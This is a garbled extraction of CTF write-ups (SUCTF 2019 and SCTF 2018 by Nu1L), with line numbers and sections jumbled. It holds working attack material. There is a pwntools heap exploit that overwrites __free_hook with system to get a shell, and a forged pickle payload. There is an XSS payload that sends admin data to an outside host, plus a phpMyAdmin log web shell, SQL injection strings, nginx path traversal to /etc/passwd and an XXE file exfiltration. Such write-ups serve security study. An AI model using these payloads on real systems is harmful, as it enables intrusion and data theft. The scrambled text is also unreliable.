a1[26] - a1[27] + a1[28] + a1[29] - a1[30] - a1[31] - a1[32] + a1[33] - a1[34] - a1[35] + a1[36] - a1[37] - a1[38] - a1[39] + a1[40] - a1[41]) v16 = a1[0] + a1[1] + a1[2] - a1[3] - a1[4] - a1[5] + a1[6] - a1[7] + a1[8] + a1[9] + a1[10] - a1[11] + a1[12] - a1[13] - a1[14] + a1[15] + a1[16] + a1[17] - a1[18] - a1[19] - a1[20] solver.add(a2[14] == v16 - a1[21] + a1[22] + a1[23] + a1[24] - a1[25] + a1[26] + a1[27] + a1[28] - a1[29] - a1[30] - a1[31] + a1[32] + a1[33] + a1[34] + a1[35] + a1[36] + a1[37] + a1[38] - a1[39] - a1[40] - a1[41]) v17 = a1[0] - a1[1] + a1[2] + a1[3] + a1[4] + a1[5] - a1[6] + a1[7] - a1[8] - a1[9] - a1[10] + a1[11] + a1[12] + a1[13] - a1[14] - a1[15] - a1[16] + a1[17] - a1[18] - a1[19] - a1[20] solver.add(a2[15] == v17 - a1[21] + a1[22] + a1[23] + a1[24] + a1[25] + a1[26] + a1[27] - a1[28] - a1[29] - a1[30] - a1[31] + a1[32] - a1[33] + a1[34] + a1[35] + a1[36] + a1[37] - a1[38] + a1[39] + a1[40] - a1[41]) v18 = a1[0] - a1[1] + a1[2] + a1[3] - a1[4] - a1[5] + a1[6] + a1[7] + a1[8] + a1[9] + a1[10] - a1[11] + a1[12] - a1[13] + a1[14] + a1[15] + a1[16] - a1[17] + a1[18] - a1[19] + a1[20] 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 solver.add(a2[16] == v18 - a1[21] - a1[22] - a1[23] - a1[24] - a1[25] + a1[26] + a1[27] + a1[28] + a1[29] - a1[30] - a1[31] + a1[32] - a1[33] - a1[34] + a1[35] - a1[36] + a1[37] - a1[38] + a1[39] - a1[40] + a1[41]) v19 = a1[0] + a1[1] + a1[2] + a1[3] + a1[4] - a1[5] + a1[6] + a1[7] + a1[8] - a1[9] - a1[10] + a1[11] - a1[12] + a1[13] + a1[14] + a1[15] - a1[16] + a1[17] - a1[18] - a1[19] + a1[20] solver.add(a2[17] == v19 - a1[21] + a1[22] - a1[23] - a1[24] + a1[25] - a1[26] + a1[27] - a1[28] + a1[29] - a1[30] - a1[31] + a1[32] - a1[33] - a1[34] + a1[35] - a1[36] + a1[37] - a1[38] + a1[39] + a1[40] - a1[41]) v20 = a1[0] - a1[1] - a1[2] - a1[3] + a1[4] + a1[5] - a1[6] + a1[7] - a1[8] + a1[9] + a1[10] - a1[11] - a1[12] - a1[13] + a1[14] - a1[15] - a1[16] + a1[17] + a1[18] + a1[19] - a1[20] solver.add(a2[18] == v20 - a1[21] - a1[22] - a1[23] - a1[24] - a1[25] - a1[26] - a1[27] + a1[28] + a1[29] + a1[30] - a1[31] - a1[32] - a1[33] + a1[34] - a1[35] - a1[36] - a1[37] - a1[38] - a1[39] - a1[40] + a1[41]) v21 = a1[0] + a1[1] + a1[2] + a1[3] - a1[4] - a1[5] + a1[6] - a1[7] - a1[8] - a1[9] - a1[10] - a1[11] - a1[12] - a1[13] + a1[14] + a1[15] + a1[16] - a1[17] + a1[18] + a1[19] + a1[20] solver.add(a2[19] == v21 + a1[21] - a1[22] + a1[23] + a1[24] - a1[25] + a1[26] + a1[27] - a1[28] + a1[29] + a1[30] + a1[31] + a1[32] + a1[33] - a1[34] + a1[35] - a1[36] - a1[37] - a1[38] + a1[39] + a1[40] - a1[41]) v22 = a1[0] + a1[1] - a1[2] - a1[3] - a1[4] + a1[5] - a1[6] + a1[7] - a1[8] - a1[9] + a1[10] + a1[11] - a1[12] - a1[13] + a1[14] - a1[15] - a1[16] + a1[17] - a1[18] - a1[19] + a1[20] solver.add(a2[20] == v22 + a1[21] - a1[22] + a1[23] + a1[24] - a1[25] - a1[26] - a1[27] - a1[28] - a1[29] - a1[30] - a1[31] - a1[32] + a1[33] - a1[34] + a1[35] + a1[36] - a1[37] + a1[38] - a1[39] + a1[40] - a1[41]) v23 = a1[0] - a1[1] - a1[2] - a1[3] + a1[4] + a1[5] + a1[6] + a1[7] - a1[8] - a1[9] - a1[10] - a1[11] - a1[12] - a1[13] - a1[14] - a1[15] - a1[16] + a1[17] - a1[18] - a1[19] + a1[20] solver.add(a2[21] == v23 - a1[21] + a1[22] + a1[23] + a1[24] - a1[25] - a1[26] + a1[27] - a1[28] - a1[29] - a1[30] - a1[31] - a1[32] - a1[33] - a1[34] - a1[35] - a1[36] + a1[37] - a1[38] - a1[39] - a1[40] + a1[41]) v24 = a1[0] + a1[1] + a1[2] + a1[3] + a1[4] + a1[5] + a1[6] + a1[7] - a1[8] + a1[9] - a1[10] + a1[11] - a1[12] + a1[13] + a1[14] + a1[15] - a1[16] + a1[17] + a1[18] - a1[19] - a1[20] solver.add(a2[22] == v24 + a1[21] + a1[22] - a1[23] + a1[24] - a1[25] - a1[26] + a1[27] - a1[28] + a1[29] + a1[30] + a1[31] - a1[32] + a1[33] - a1[34] - a1[35] - a1[36] - a1[37] + a1[38] - a1[39] + a1[40] + a1[41]) v25 = a1[0] - a1[1] + a1[2] + a1[3] - a1[4] - a1[5] - a1[6] - a1[7] + a1[8] - a1[9] - a1[10] + a1[11] + a1[12] - a1[13] - a1[14] + a1[15] - a1[16] - a1[17] + a1[18] + a1[19] - a1[20] solver.add(a2[23] == v25 - a1[21] + a1[22] - a1[23] + a1[24] + a1[25] - a1[26] + a1[27] - a1[28] + a1[29] + a1[30] - a1[31] - a1[32] - a1[33] - a1[34] - a1[35] - a1[36] - a1[37] + a1[38] - a1[39] - a1[40] - a1[41]) v26 = a1[0] + a1[1] - a1[2] + a1[3] + a1[4] - a1[5] + a1[6] + a1[7] - a1[8] + a1[9] + a1[10] - a1[11] - a1[12] - a1[13] - a1[14] + a1[15] + a1[16] + a1[17] - a1[18] + a1[19] + a1[20] 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 solver.add(a2[24] == v26 + a1[21] + a1[22] + a1[23] + a1[24] + a1[25] - a1[26] - a1[27] - a1[28] + a1[29] + a1[30] - a1[31] + a1[32] + a1[33] + a1[34] - a1[35] - a1[36] - a1[37] - a1[38] + a1[39] + a1[40] - a1[41]) v27 = a1[0] - a1[1] + a1[2] + a1[3] - a1[4] + a1[5] + a1[6] - a1[7] + a1[8] + a1[9] + a1[10] - a1[11] - a1[12] + a1[13] - a1[14] + a1[15] - a1[16] + a1[17] + a1[18] + a1[19] - a1[20] solver.add(a2[25] == v27 - a1[21] + a1[22] + a1[23] - a1[24] - a1[25] + a1[26] - a1[27] + a1[28] - a1[29] + a1[30] - a1[31] - a1[32] + a1[33] - a1[34] - a1[35] - a1[36] - a1[37] + a1[38] - a1[39] + a1[40] + a1[41]) v28 = a1[0] + a1[1] + a1[2] + a1[3] + a1[4] - a1[5] - a1[6] + a1[7] - a1[8] - a1[9] - a1[10] - a1[11] + a1[12] - a1[13] + a1[14] - a1[15] + a1[16] - a1[17] + a1[18] - a1[19] - a1[20] solver.add(a2[26] == v28 + a1[21] + a1[22] + a1[23] + a1[24] + a1[25] - a1[26] - a1[27] - a1[28] - a1[29] + a1[30] + a1[31] - a1[32] - a1[33] - a1[34] + a1[35] + a1[36] - a1[37] - a1[38] + a1[39] + a1[40] + a1[41]) v29 = a1[0] - a1[1] + a1[2] - a1[3] + a1[4] - a1[5] - a1[6] - a1[7] - a1[8] - a1[9] - a1[10] - a1[11] + a1[12] + a1[13] - a1[14] + a1[15] + a1[16] + a1[17] + a1[18] + a1[19] - a1[20] solver.add(a2[27] == v29 - a1[21] - a1[22] - a1[23] + a1[24] + a1[25] + a1[26] - a1[27] + a1[28] + a1[29] + a1[30] - a1[31] - a1[32] - a1[33] - a1[34] + a1[35] - a1[36] - a1[37] - a1[38] - a1[39] - a1[40] - a1[41]) v30 = a1[0] - a1[1] + a1[2] + a1[3] + a1[4] - a1[5] + a1[6] + a1[7] - a1[8] - a1[9] + a1[10] + a1[11] - a1[12] + a1[13] - a1[14] + a1[15] - a1[16] + a1[17] + a1[18] + a1[19] - a1[20] solver.add(a2[28] == v30 - a1[21] + a1[22] - a1[23] - a1[24] - a1[25] - a1[26] + a1[27] - a1[28] - a1[29] - a1[30] + a1[31] - a1[32] - a1[33] + a1[34] + a1[35] + a1[36] - a1[37] - a1[38] + a1[39] + a1[40] + a1[41]) v31 = a1[0] + a1[1] - a1[2] - a1[3] - a1[4] + a1[5] + a1[6] + a1[7] - a1[8] + a1[9] - a1[10] - a1[11] + a1[12] - a1[13] + a1[14] + a1[15] - a1[16] + a1[17] + a1[18] - a1[19] + a1[20] solver.add(a2[29] == v31 + a1[21] + a1[22] + a1[23] - a1[24] + a1[25] + a1[26] - a1[27] + a1[28] + a1[29] + a1[30] + a1[31] + a1[32] - a1[33] - a1[34] + a1[35] + a1[36] - a1[37] + a1[38] + a1[39] - a1[40] + a1[41]) v32 = a1[0] + a1[1] + a1[2] + a1[3] - a1[4] - a1[5] - a1[6] - a1[7] + a1[8] + a1[9] - a1[10] - a1[11] - a1[12] + a1[13] - a1[14] - a1[15] + a1[16] - a1[17] - a1[18] - a1[19] + a1[20] solver.add(a2[30] == v32 - a1[21] - a1[22] + a1[23] + a1[24] - a1[25] - a1[26] + a1[27] - a1[28] - a1[29] - a1[30] - a1[31] - a1[32] - a1[33] - a1[34] + a1[35] + a1[36] + a1[37] - a1[38] + a1[39] + a1[40] + a1[41]) v33 = a1[0] + a1[1] - a1[2] + a1[3] + a1[4] - a1[5] - a1[6] + a1[7] + a1[8] + a1[9] + a1[10] + a1[11] + a1[12] - a1[13] - a1[14] - a1[15] + a1[16] + a1[17] + a1[18] + a1[19] - a1[20] solver.add(a2[31] == v33 + a1[21] - a1[22] + a1[23] - a1[24] - a1[25] + a1[26] + a1[27] - a1[28] + a1[29] - a1[30] - a1[31] - a1[32] + a1[33] - a1[34] + a1[35] - a1[36] + a1[37] - a1[38] + a1[39] - a1[40] - a1[41]) v34 = a1[0] - a1[1] + a1[2] + a1[3] - a1[4] + a1[5] + a1[6] + a1[7] + a1[8] - a1[9] + a1[10] + a1[11] - a1[12] + a1[13] + a1[14] - a1[15] + a1[16] - a1[17] + a1[18] + a1[19] + a1[20] 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 solver.add(a2[32] == v34 - a1[21] - a1[22] + a1[23] - a1[24] + a1[25] + a1[26] + a1[27] - a1[28] - a1[29] - a1[30] - a1[31] - a1[32] - a1[33] + a1[34] + a1[35] + a1[36] + a1[37] - a1[38] + a1[39] - a1[40] + a1[41]) v35 = a1[0] - a1[1] - a1[2] + a1[3] + a1[4] + a1[5] + a1[6] - a1[7] - a1[8] + a1[9] + a1[10] + a1[11] - a1[12] - a1[13] + a1[14] + a1[15] - a1[16] + a1[17] - a1[18] + a1[19] - a1[20] solver.add(a2[33] == v35 + a1[21] + a1[22] + a1[23] - a1[24] - a1[25] + a1[26] + a1[27] - a1[28] + a1[29] - a1[30] - a1[31] - a1[32] - a1[33] - a1[34] - a1[35] + a1[36] - a1[37] + a1[38] - a1[39] - a1[40] - a1[41]) v36 = a1[0] + a1[1] - a1[2] + a1[3] - a1[4] - a1[5] - a1[6] + a1[7] + a1[8] + a1[9] + a1[10] + a1[11] - a1[12] - a1[13] - a1[14] + a1[15] - a1[16] + a1[17] - a1[18] + a1[19] - a1[20] solver.add(a2[34] == v36 - a1[21] + a1[22] + a1[23] - a1[24] - a1[25] + a1[26] + a1[27] + a1[28] + a1[29] - a1[30] - a1[31] - a1[32] - a1[33] - a1[34] - a1[35] - a1[36] + a1[37] + a1[38] + a1[39] - a1[40] - a1[41]) v37 = a1[0] - a1[1] + a1[2] + a1[3] + a1[4] - a1[5] - a1[6] + a1[7] + a1[8] - a1[9] - a1[10] + a1[11] + a1[12] + a1[13] - a1[14] - a1[15] + a1[16] - a1[17] + a1[18] + a1[19] - a1[20] solver.add(a2[35] == v37 - a1[21] - a1[22] + a1[23] + a1[24] - a1[25] - a1[26] + a1[27] + a1[28] - a1[29] - a1[30] + a1[31] + a1[32] - a1[33] + a1[34] + a1[35] + a1[36] + a1[37] + a1[38] + a1[39] - a1[40] - a1[41]) v38 = a1[0] + a1[1] + a1[2] - a1[3] - a1[4] - a1[5] - a1[6] + a1[7] + a1[8] + a1[9] - a1[10] + a1[11] + a1[12] - a1[13] + a1[14] + a1[15] + a1[16] + a1[17] + a1[18] + a1[19] + a1[20] solver.add(a2[36] == v38 + a1[21] - a1[22] - a1[23] + a1[24] - a1[25] - a1[26] - a1[27] - a1[28] + a1[29] + a1[30] + a1[31] + a1[32] - a1[33] - a1[34] - a1[35] - a1[36] + a1[37] - a1[38] + a1[39] + a1[40] - a1[41]) v39 = a1[0] - a1[1] - a1[2] + a1[3] - a1[4] + a1[5] - a1[6] - a1[7] - a1[8] - a1[9] + a1[10] - a1[11] - a1[12] - a1[13] - a1[14] - a1[15] - a1[16] + a1[17] + a1[18] - a1[19] - a1[20] solver.add(a2[37] == v39 - a1[21] + a1[22] - a1[23] + a1[24] - a1[25] - a1[26] + a1[27] - a1[28] - a1[29] + a1[30] + a1[31] - a1[32] + a1[33] - a1[34] + a1[35] - a1[36] - a1[37] + a1[38] - a1[39] - a1[40] - a1[41]) v40 = a1[0] + a1[1] + a1[2] + a1[3] - a1[4] + a1[5] + a1[6] + a1[7] - a1[8] - a1[9] - a1[10] + a1[11] + a1[12] + a1[13] - a1[14] - a1[15] - a1[16] - a1[17] - a1[18] - a1[19] + a1[20] solver.add(a2[38] == v40 + a1[21] - a1[22] + a1[23] + a1[24] + a1[25] + a1[26] + a1[27] - a1[28] - a1[29] + a1[30] + a1[31] - a1[32] - a1[33] + a1[34] - a1[35] - a1[36] - a1[37] + a1[38] + a1[39] + a1[40] - a1[41]) v41 = a1[0] - a1[1] - a1[2] - a1[3] - a1[4] + a1[5] - a1[6] - a1[7] - a1[8] + a1[9] - a1[10] + a1[11] - a1[12] + a1[13] + a1[14] - a1[15] - a1[16] - a1[17] + a1[18] + a1[19] + a1[20] solver.add(a2[39] == v41 + a1[21] + a1[22] - a1[23] + a1[24] + a1[25] + a1[26] + a1[27] + a1[28] - a1[29] + a1[30] + a1[31] + a1[32] + a1[33] + a1[34] - a1[35] - a1[36] + a1[37] + a1[38] + a1[39] - a1[40] + a1[41]) v42 = a1[0] - a1[1] - a1[2] - a1[3] + a1[4] + a1[5] + a1[6] - a1[7] + a1[8] + a1[9] - a1[10] + a1[11] - a1[12] - a1[13] - a1[14] + a1[15] + a1[16] + a1[17] + a1[18] + a1[19] + a1[20] 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 z3 guess_game Status: solved Tags: Misc solver.add(a2[40] == v42 + a1[21] + a1[22] - a1[23] + a1[24] + a1[25] - a1[26] + a1[27] + a1[28] - a1[29] + a1[30] + a1[31] + a1[32] - a1[33] - a1[34] + a1[35] + a1[36] - a1[37] + a1[38] + a1[39] + a1[40] + a1[41]) v44 = a1[0] + a1[1] + a1[2] + a1[3] + a1[4] + a1[5] + a1[6] - a1[7] - a1[8] - a1[9] + a1[10] + a1[11] - a1[12] + a1[13] - a1[14] - a1[15] - a1[16] - a1[17] - a1[18] - a1[19] + a1[20] solver.add(a2[41] == v44 - a1[21] + a1[22] - a1[23] - a1[24] + a1[25] + a1[26] + a1[27] + a1[28] - a1[29] - a1[30] - a1[31] - a1[32] - a1[33] - a1[34] - a1[35] - a1[36] - a1[37] - a1[38] - a1[39] - a1[40] + a1[41]) if solver.check() == sat: m = solver.model() s = [] for i in range(42): s.append(m[a1[i]].as_long()^i) print(bytes(s)) print ''.join(map(lambda x: chr(((x << 5) | (x >> 3)) & 0xff), s)) 96 97 98 99 100 101 102 103 104 105 106 107 import asyncio import pickle from struct import pack def pack_length(obj): return pack('>I', obj) async def start_client(host, port): reader, writer = await asyncio.open_connection(host, port) ticket = b'\x80\x03cguess_game\ngame\n} (X\x0b\x00\x00\x00curr_ticketcguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x 00\x00numberK\x01sbX\x0b\x00\x00\x00round_countK\x09X\t\x00\x00\x00win_cou ntK\x09ubcguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x01sb. ' writer.write(pack_length(len(ticket))) writer.write(ticket) response = await reader.readline() print(response.decode()) response = await reader.readline() print(response.decode()) loop = asyncio.get_event_loop() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ticketgamewin_countpickle dumpsGamenewobj modulenameguess_gamegame protocol Status: solved Tags: Misc tshark -r usbtraffic.pcapng -T fields -e usb.capdata > usb.dat loop.run_until_complete(start_client('47.111.59.243', 8051)) 19 import struct from PIL import Image with open('usb.dat', 'r') as f: content = f.readlines() cnt = 0 key_status = None pics = dict() res = [] for line in content: if len(line) == 128 + 1: line = line.strip().decode('hex') key_status = map(ord, line[:15]) if len(line) > 7000: line = line.strip().decode('hex') type = ord(line[0]) key_id = ord(line[1]) has_more = ord(line[2]) fill = ord(line[3]) total_length = struct.unpack('H', line[4:6])[0] length = struct.unpack('H', line[6:8])[0] j = key_id / 5 i = key_id % 5 # print key_status[key_id], cnt, type, key_id, has_more, fill, total_length, length if not key_status[key_id]: pics[key_id] = '{}_{}.png'.format(key_id, cnt) with open('{}_{}.png'.format(key_id, cnt), 'wb') as f: f.write(line[8:8 + length]) else: im = Image.open(pics[key_id]) im = im.transpose(Image.FLIP_LEFT_RIGHT) res.append(im) cnt += 1 width, height = res[0].size flag = Image.new(res[0].mode, (width * len(res), height)) for i, im in enumerate(res): flag.paste(im, box=(i * width, 0)) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 https://github.com/summershrimp/opendeck- gui/blob/7a459166dfc664291d49525eb1a362377ed5b6c9/lv_app/opendeck_app.c key_statusflag Game Status: solved Tags: Misc Githubdiffthree.min.jsvar acd= mysecretishere.iZwz9i9xnerwj6o7h40eauZ.png; b1,rgb,lsb,xybase64 3deshtmlflag Status: solved Tags: Misc base64pngflag Status: solved Tags: Pwn old pc, old method. nc 47.111.59.243 10001 1 1 add_name off-by-null32bit libc flag.save('flag.png') 37 echo "U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ==" |openssl enc -des3 -d -base64 -k "suctf{hAHaha_Fak3_F1ag}" 1 #!python #-*- coding: utf-8 -*- #@Date: 2019-08-17 16:42:47 from pwn import * menu = lambda x: p.sendlineafter(">>> ",str(x)) 1 2 3 4 5 6 ru = lambda x: p.recvuntil(x,drop=True) r = lambda x: p.recv(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) # p = process('./oldpc') p = remote("47.111.59.243",10001) #libc = ELF('/lib/i386-linux-gnu/libc.so.6') #libc = ELF("./libc.so") libc = ELF("./libc.6") def purchase(l,name,price): menu(1) ru("Name length: ") sl(str(l)) ru("Name: ") s(name) ru("Price: ") sl(str(price)) def comment(idx,com,score,r=False): menu(2) ru("Index: ") sl(str(idx)) if r: pass s(com) ru("And its score: ") sl(str(score)) def throw(idx,r=False): menu(3) ru("index: ") sl(str(idx)) if r: pass def rename(idx,name,cnt): menu(4) ru("index: ") sl(str(idx)) s(name) ru('power?(y/n)') sl('y') ru('serial: ') sl('e4SyD1C!') ru("Pwner") sl(cnt) 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 #leaking libc purchase(0x10, '0\n', 0) comment(0, 'a\n', 0) purchase(0x10, '1\n', 1) throw(0) purchase(0x10, '0\n', 0) comment(0, 'a', 0) throw(0) ru('Comment ') libc.address = u32(r(4))-((libc.sym["__malloc_hook"]&0xffffff00)+0x61) # libc.address = u32(r(4))-0x1b2761 #libc.address = u32(r(4))-libc.sym["__malloc_hook"] log.info("libc.address:"+hex(libc.address)) __free_hook = libc.sym['__free_hook'] log.info("__free_hook:"+hex(__free_hook)) system = libc.sym['system'] log.info("system:"+hex(system)) throw(1) # overlap purchase(0x10,'000\n',0) purchase(0x10,'111\n',1) purchase(0x10,'222\n',2) purchase(0x10,'333\n',3) throw(0) throw(1) throw(2) throw(3) purchase(0x34,'000\n',0) purchase(0x104,"1"*0xf8+p32(0x100)+'\n',1) purchase(0x8c,'222\n',2) throw(0) throw(1) #off-by-null purchase(0x34,'/bin/sh\x00'.ljust(0x34,'0'),0) purchase(0x40,'111\n',1) purchase(0x18,'333\n',3) throw(1) throw(2) purchase(0x58,'/bin/sh\x00\n',1) purchase(0x28,'/bin/sh\x00\n',2) purchase(0x200,'2\n',2) 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 Pythonginx Status: solved Tags: Web https://www.blackhat.com/us-19/briefings/schedule/#hostsplit-exploitable-antipatterns-in- unicode-normalization-14786ppt unicodeifhost suctf.cc suctf.cc127.0.0.1 rename(4,"\x00"*0x6c+p32(__free_hook),p32(system)) p.interactive() 105 106 107 http://www.unicode.org/cldr/utility/list-unicodeset.jsp?a=[:script=common:] c unicode DSA Status: solved Tags: Crypto :https://www.cnblogs.com/Higgerw/p/10301482.html p = 89884656743115795739678354382708811898612660822368092344567427388259901353 56892470345107998992990871781314179509322146805639362260448544265893607609 27477661134167622913227944248570006423414014352981962448387096113583572271 30567408679059995300726314962982581144329690825930952807605482666470568898 892470947889 g = 23362397837988665661962706184444314399371209826702448484412882128184181932 60908211774631416174402263956848375085099560328603124641488555552869325397 22544567925041841627677640426195462221869929632616752684975591035928441865 84502751982840228444031824658955646050635021674342004030327085676068388633 575869096267 s1 = 816356642413846944684989243155506908429458808084L s2 = 276664403166730631514824875934712175401651747908L r = 528964267437397097267962985526284842916097680261L q = 918152883769584503088536070090092114051068163327 m1 = 45191349756339761230969331730882567310 m2 = 307693878875281197163704550997724119116 inv_s1 = power_mod(s1,-1,q) inv_s2 = power_mod(s2,-1,q) a = m1*inv_s1 - m2*inv_s2 b = inv_s2-inv_s1 inv_r = power_mod(r,-1,q) inv_b = power_mod(b,-1,q) x = inv_r*inv_b*a x %= q k = power_mod(1,-1,q) r = (power_mod(g,k,p))%q m = 334436397493699539473999398012751306876 s = (x*r+m) s %= q print r,',',s 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Akira Homework Status: solved Tags: Reverse ,,0000000140015F20xor_key, xor_key,:->md5->dll dll,,,key, ,dll,dll dll,AES,keyAk1i3aS3cre7K3y,ShareMemory,, flag{Ak1rAWin!} Signin Status: solved Tags: Reverse RSA n factordb # flag{Wh4t_a_Prety_Si3nature!} 23 24
pdf
SCTF2018-WP Author: Nu1L SCTF2018-WP Author: Nu1L Web easiest web - phpmyadmin NGINX BabySyc - Simple PHP Web BabyIntranet Pwn bufoverflow_a sbbs bufoverflow_b WTFgame Crypto ElGamal Hacker a number problem it may contain 'flag' Misc Modbus Re Babymips Script In Script Where is my 13th count crackme2 simple Web {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} amdin http://116.62.137.114:4879/api/memos/admintest2313 adminClound payload: ` {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob("JC5wb3N0KCcvYWRtaW4vZmlsZScseydmaWxlcGFzc3dkJzonSEdmXiYzOU5zc2xVSWZeMjMnf SxmdW5jdGlvbihkYXRhKXsobmV3IEltYWdlKCkpLnNyYz0iaHR0cDovL3hzcy5udXB0emouY24vP2luZm89Iit lc2NhcGUoZGF0YSk7fSk7"));//');}} ` easiest web - phpmyadmin set global general_log='on'; SET global general_log_file='C:\phpStudy\WWW\phpmyadmin\had.php'; SELECT '<?php @eval($_GET[1]);?>'; ```` flagC ### Zhuanxv github: ![](https://i.imgur.com/gYFVGKZ.png) `6yhn7ujm` `http://121.196.195.244:9032/loadimage?fileName=../../WEB- INF/classes/com/cuitctf/service/impl/UserServiceImpl.class` sql= %0a `user.name=homamamama'%0aand%0a'1'>'1&user.password=6yhn7ujm` Hsqlpaper`New Methods for Exploiting ORM Injections in Java Applications`mysql NGINX NGINX /static../etc/passwd NGINX ```php user.name=a\''or%0a(select%0agroup_concat(`welcometoourctf`)%0afrom/**/`bc3fa8be0d b46a3610db3ca0ec794c0b`)%0alike%0abinary%0a"%25"%0a%23&user.password=6yhn7ujm ... proxy_cache_path /tmp/mycache levels=1:2 keys_zone=my_cache:10m max_size=10g inactive=30s use_temp_path=off; limit_conn_zone $binary_remote_addr zone=conn:10m; limit_req_zone $binary_remote_addr zone=allips:10m rate=2r/s; server { listen 4455 default_server; server_name localhost; location /static { alias /home/; } location ~* \.(css|js|gif|png){ proxy_cache my_cache; proxy_cache_valid 200 30s; proxy_pass http://bugweb.app:8000; proxy_set_header Host $host:$server_port; proxy_ignore_headers Expires Cache-Control Set-Cookie; } location / { limit_conn conn 10; proxy_pass http://bugweb.app:8000; proxy_set_header Host $host:$server_port; } } ## # Virtual Host Configs ## include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; ... url.js/.css/.png/.gif http://116.62.137.1 55:4455/write_plan/a.js/ admin /static../tmp/mycache/ md5(schema+host_name+uri) /static../tmp/mycache/e/a0/f5b7c949417df6d64c7172c111045a0eadminplan ftp xxeftpflag POST /import_and_export/ HTTP/1.1 Host: 116.62.137.155:4455 Content-Length: 673 Cache-Control: max-age=0 Origin: http://116.62.137.155:4455 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9dTSvDwOQwiPli2z User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q= 0.8 Referer: http://116.62.137.155:4455/import_and_export/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=.eJwlj0FqQzEMBe_idRaSLMt2LvORZImGQAv_J6vSu8fQ5WMYmPdbjjzj- ir31_mOWzkeq9yLTBpgYH2poI3hMaDbYGxJmtPDlKw1qM5QbaBJ99oWzSqOAxdxLuBeh8xMsprEJsSdVLW qCqPD4o09fJlkTtVo6dGb8Uwot- LXmcfr5xnfu0eVUSmzL9pNID0BUsAEJi7AsFERJtftva84_0_Q3n8fSNc_uQ.Dgtw7A.pgljoRjvoxbe4S 6yh5WZ7t331vY Connection: close ------WebKitFormBoundary9dTSvDwOQwiPli2z Content-Disposition: form-data; name="csrf_token" ImFhNDFhMmZmN2QyYjdkMDY3ZjAwZjYwYjYwOTFkMDFlYjgzMTA5NDMi.Dgt3Gg.ZrDoK- aPmqWOrZW73VKv4fpQaDM ------WebKitFormBoundary9dTSvDwOQwiPli2z Content-Disposition: form-data; name="myplans"; filename="myplans.xml" Content-Type: text/xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person [<!ENTITY remote SYSTEM "ftp://syc10ver:[email protected]/">]> <plans> <plan> <content>payload &remote;</content> </plan> </plans> ------WebKitFormBoundary9dTSvDwOQwiPli2z Content-Disposition: form-data; name="submit" Import BabySyc - Simple PHP Web so ------WebKitFormBoundary9dTSvDwOQwiPli2z-- import base64 from Crypto.Cipher import AES data = "EAQAAAAAAAAbBAAAAAAAAOIGm4qedWGIRIaA3f7oEkZmV3wMAbd15n3zIqhYyHdqS0NB+tYB2I+d4++RP BwANEwunSd5KZSO2DjZFPr+bdEPQk6VLqpSfJRxJaWRWFyRXY3B94UR41S8DK0GImO7Q4IctVAquxwz4te Rr+Y84WD1LKHkZbtBouTM7OJcAQUC2YLoIZVukiJ5N6Bm1Y+V6J3s1+rwEClvpvSza6vvZ+f6967rbNVHo np+FobS15PjKrfxHd4PrI07avDxBkt8/mRck5dEO9TB8/L1jT8IaQ5BdEdKNSHHdh0viMDGZ0hsSmAcJtd +0hImIQl2tgrYwV+Cb/Mu56QexV0nU3AWer58fk9WovRZmgua/BNa1ChXh9KslfBPEnS6XyFQScjAP7TSh 4Ui7CH2piCcvoywg6h6fIZyNWJ0zbMpayDZOU1Alsj8ihs84RdVgjWfnKV6FkKJq8An16CyudKXsqtFsrt TnjCx7sx4O+/n4EEZ0FL357c09jllr7W84qpMgCHF4eTOKevdqD2gdG2EeBjymD/Hlbw0z6RwxDiPqu2rR 35Pgp1REf3PONlcUBGjyTRVN9u0Ivvu7t/xJt4dacOHCehgfFbBMtKOMYY7uLlGzwkJiFcnsPseE04C+WO Uei6mjLbzX+Xo6fLN+zmXjioAn3EmRuIATGptoAOnNPyQsX95z8LyABgjGtvYQwb1xBY5Oy4e2mrG+UxOF imM0neLO6OlpVPDFmwpolQ1DQwaPIMK3ueOGJe97n3JQefsZ3XAXEElmzUqqzdn1nCkVNJrn6g6iUUTADt Wl3WhBTuTzMx6KCMKdYx9IsZ4GWzzhOP0rNXCricqzEABMaDZZm3gwbGN6XoZ10dtN/7IqLFhbPT2Ufp5a h6tw98QrakEHs0EZ35rwoPQIDWVUQVOwBWbXbMrp9umiEo9Xc+gujD51lDZZxVK+HXqtOJFGGPJHfmat2l 9pgVViFD7LdJ1gDfOq/GZ+3gHRifaqfnnWZii/uxaFBuekJeqUcIOW4xd269DfCgxdGJx0T13VuNrEWkKv 09eKXGCKi/a1aicQvT41IEpKFuBlMd4QH+hphD6ToheUNGaM15U8LL4DAgi9NQRxGCCu3uC1ZnsQ2Lo8Lz 